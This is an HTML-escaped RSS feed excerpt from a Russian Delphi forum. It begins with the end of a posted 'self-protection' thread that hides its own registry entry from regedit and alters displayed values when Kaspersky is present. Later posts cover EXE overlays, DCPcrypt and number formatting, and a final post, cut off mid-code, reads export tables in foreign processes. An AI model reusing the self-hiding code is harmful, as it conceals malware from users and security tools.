FindWindowEx(w,0,str_reglistview,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if w &lt;&gt; 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nv := ExtractFileName(paramstr(0&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Num := RegeditFindRec(w,nv,value&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if Num&lt;&gt;-1 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegeditDeleteItem(w,Num&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end else regStarted := False; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (av_protect=True&amp;#41; and (av_type=ANTIVIR_KASPERSKY&amp;#41; and (Pos(str_regseek2,s&amp;#41;&lt;&gt;0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//подменяем значение параметра &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;w := FindWindow(nil,str_regedit&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if w &lt;&gt; 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;w := FindWindowEx(w,0,str_reglistview,nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if w &lt;&gt; 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Num := RegeditFindRec(w,str_regparam,value&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Num&lt;&gt;-1&amp;#41; and (value&lt;&gt;str_regvalue&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegeditSetItemText(w,Num,2,str_regvalue&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end else regStarted := False; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end else regStarted := False; &lt;br /&gt; if regStarted then goto return; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TSelfProtectionThread.Execute; &lt;br /&gt; begin &lt;br /&gt;&lt;br /&gt; while True do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep(200&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HideToRegedit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;/span&gt;&lt;!--/BBhide--&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>ix</dc:creator>
<guid>https://delfcode.ru/forum/22-1195-1</guid>
</item>
<item>
<title>определить наличие оверлея в EXE файле</title>
<link>https://delfcode.ru/forum/22-1178-1</link>
<pubDate>Thu, 19 Dec 2013 09:00:08 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>привет) &lt;br /&gt; может есть у кого функция проверки наличия в exe файле оверлея? &lt;br /&gt; без наворотов. обычная boolean функция. &lt;img src=&quot;http://s5.ucoz.net/sm/23/happy.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;happy&quot; /&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/22-1178-1</guid>
</item>
<item>
<title>dcpcrypt</title>
<link>https://delfcode.ru/forum/22-1124-1</link>
<pubDate>Mon, 26 Aug 2013 11:23:55 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Известный криптографический модуль&lt;br /&gt;Автор темы: Hargen&lt;br /&gt;Автор последнего сообщения: Hargen&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Encryption Algorithms &lt;br /&gt; Blowfish &lt;br /&gt; Cast 128 &lt;br /&gt; Cast 256 &lt;br /&gt; DES, 3DES &lt;br /&gt; Ice, Thin Ice, Ice2 &lt;br /&gt; IDEA &lt;br /&gt; Mars &lt;br /&gt; Misty1 &lt;br /&gt; RC2, RC4, RC5, RC6 &lt;br /&gt; Rijndael (the AES) &lt;br /&gt; Serpent &lt;br /&gt; Tea &lt;br /&gt; Twofish &lt;br /&gt; ------------------------------------------------------- &lt;br /&gt; Hash Algorithms &lt;br /&gt; Haval &lt;br /&gt; MD4 &lt;br /&gt; MD5 &lt;br /&gt; RipeMD-128 &lt;br /&gt; RipeMD-160 &lt;br /&gt; SHA-1 &lt;br /&gt; SHA-256, SHA-384, SHA-512 &lt;br /&gt; Tiger &lt;br /&gt; ------------------------------------------------------- &lt;br /&gt; взято с &lt;a class=&quot;link&quot; target=&quot;_blank&quot; href=&quot;http://u.to/mGhPBA&quot; title=&quot;http://www.cityinthesky.co.uk/opensource/DCPcrypt&quot; rel=&quot;nofollow&quot;&gt;http://www.cityinthesky.co.uk/opensource/DCPcrypt&lt;/a&gt; &lt;br /&gt; ------------------------------------------------------- &lt;br /&gt; P.S. Админ перенеси если нетуда воткнул</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Hargen</dc:creator>
<guid>https://delfcode.ru/forum/22-1124-1</guid>
</item>
<item>
<title>Перевод чисел из научной нотации в десятичную систему</title>
<link>https://delfcode.ru/forum/22-852-1</link>
<pubDate>Mon, 13 May 2013 16:45:27 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Вопросик ответ на который полезен всем&lt;br /&gt;Автор темы: Del&lt;br /&gt;Автор последнего сообщения: Hargen&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Здравствуйте! При вычислении больших чисел на дельфи возникла проблема. Большие числа выглядят так: 10E10 что равносильно 10 умножить на 10 в 10 степени. &lt;br /&gt; Вопрос: есть ли функция/способ в дельфи, которая/который переводил(а) числа из данного формата в более читабельный(десятичный)?</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>Del</dc:creator>
<guid>https://delfcode.ru/forum/22-852-1</guid>
</item>
<item>
<title>Поиск адреса функции в чужом процессе.</title>
<link>https://delfcode.ru/forum/22-847-1</link>
<pubDate>Sun, 12 May 2013 08:44:13 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Delphi.&lt;br /&gt;Автор темы: Волк-1024&lt;br /&gt;Автор последнего сообщения: reqyz&lt;br /&gt;Количество ответов: 14</description>
<content:encoded>Вот на днях я заинтересовался данной темой. И в инете по данной тематике очень мало информации. Долго и упорно я искал. И случайно наткнулся вот на эту замечательную статью: &lt;a class=&quot;link&quot; href=&quot;http://u.to/Xc4_Ag&quot; title=&quot;http://www.rsdn.ru/article/baseserv/runcode.xml&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.rsdn.ru/article/baseserv/runcode.xml&lt;/a&gt; За что автору большая благодарность. И там было почти то, что нужно. Получилось очень не плохо. &lt;img src=&quot;http://s5.ucoz.net/sm/23/cool.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;cool&quot; /&gt; Т.е код работает. &lt;img src=&quot;http://s5.ucoz.net/sm/23/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot; /&gt; Я долгое время не хотел выкладывать этот код, ибо много парился, но всё-таки решился. &lt;br /&gt;&lt;br /&gt; Данный код теперь даже умеет обрабатывать forwarded экспорт. &lt;img src=&quot;http://s5.ucoz.net/sm/23/cool.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;cool&quot; /&gt; &lt;br /&gt; &lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoiler9LQesC&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoiler9LQesC&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler9LQesC&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler9LQesC&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler9LQesC&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoiler9LQesC&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoiler9LQesC&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoiler9LQesC&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoiler9LQesC&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt; &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; function NativeGetProcAddressEx(ProcessHandle, HandleLibrary: THandle; FunctionName: PAnsiChar&amp;#41;: Pointer; &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ImageDosHeader: TImageDosHeader; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ImageNtHeaders: TImageNtHeaders; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExportAddress: TImageDataDirectory; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionIndex, FunctionOrdinal: WORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ForwardedExport, FwdLibName: PAnsiChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExportDirectory: TImageExportDirectory; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MemoryInformation: TMemoryBasicInformation; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionAddress, AddressOfNames, AddressOfNameOrdinals, FunctionNameBuffer: Pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BaseAddress, IndexName, NtStatus, ReturnLength, NameRVA, FunctionRVA, FunctionNameLength, FwdPos: Cardinal; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=nil; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Integer(HandleLibrary&amp;#41;&lt;=0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BaseAddress:=(HandleLibrary and $0FFFF0000&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (NtQueryVirtualMemory(ProcessHandle, (Pointer(BaseAddress&amp;#41;&amp;#41;, MemoryBasicInformation, @MemoryInformation, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(SizeOf(TMemoryBasicInformation&amp;#41;&amp;#41;, @ReturnLength&amp;#41;=STATUS_SUCCESS&amp;#41;and(ReturnLength=(SizeOf(MemoryInformation&amp;#41;&amp;#41;&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (NtReadVirtualMemory(ProcessHandle, (Pointer(BaseAddress&amp;#41;&amp;#41;, @ImageDosHeader, (SizeOf(ImageDosHeader&amp;#41;&amp;#41;, @ReturnLength&amp;#41;=STATUS_SUCCESS&amp;#41;and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(NtReadVirtualMemory(ProcessHandle, (Pointer(BaseAddress+Cardinal(ImageDosHeader._lfanew&amp;#41;&amp;#41;&amp;#41;, @ImageNtHeaders, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(SizeOf(ImageNtHeaders&amp;#41;&amp;#41;, @ReturnLength&amp;#41;=STATUS_SUCCESS&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (ImageDosHeader.e_magic=IMAGE_DOS_SIGNATURE&amp;#41;and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(ImageNtHeaders.Signature=IMAGE_NT_SIGNATURE&amp;#41;and &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(ImageNtHeaders.FileHeader.Machine=IMAGE_FILE_MACHINE_I386&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExportAddress.Size:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExportAddress.VirtualAddress:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExportAddress:=ImageNtHeaders.OptionalHeader.DataDirectory&amp;#91;IMAGE_DIRECTORY_ENTRY_EXPORT]; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ExportAddress.VirtualAddress&lt;&gt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inc(ExportAddress.VirtualAddress, BaseAddress&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ExportAddress.Size:=0; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (ExportAddress.Size=0&amp;#41;or(ExportAddress.VirtualAddress=0&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NtStatus:=NtReadVirtualMemory(ProcessHandle, (Pointer(ExportAddress.VirtualAddress&amp;#41;&amp;#41;, @ExportDirectory, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(SizeOf(ExportDirectory&amp;#41;&amp;#41;, @ReturnLength&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if NtStatus=STATUS_SUCCESS then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (Cardinal(FunctionName&amp;#41;&gt;$00000FFFF&amp;#41; then // Если импорт по имени. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FunctionNameLength:=(ALength(FunctionName&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if FunctionNameLength=0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Exit &lt;br 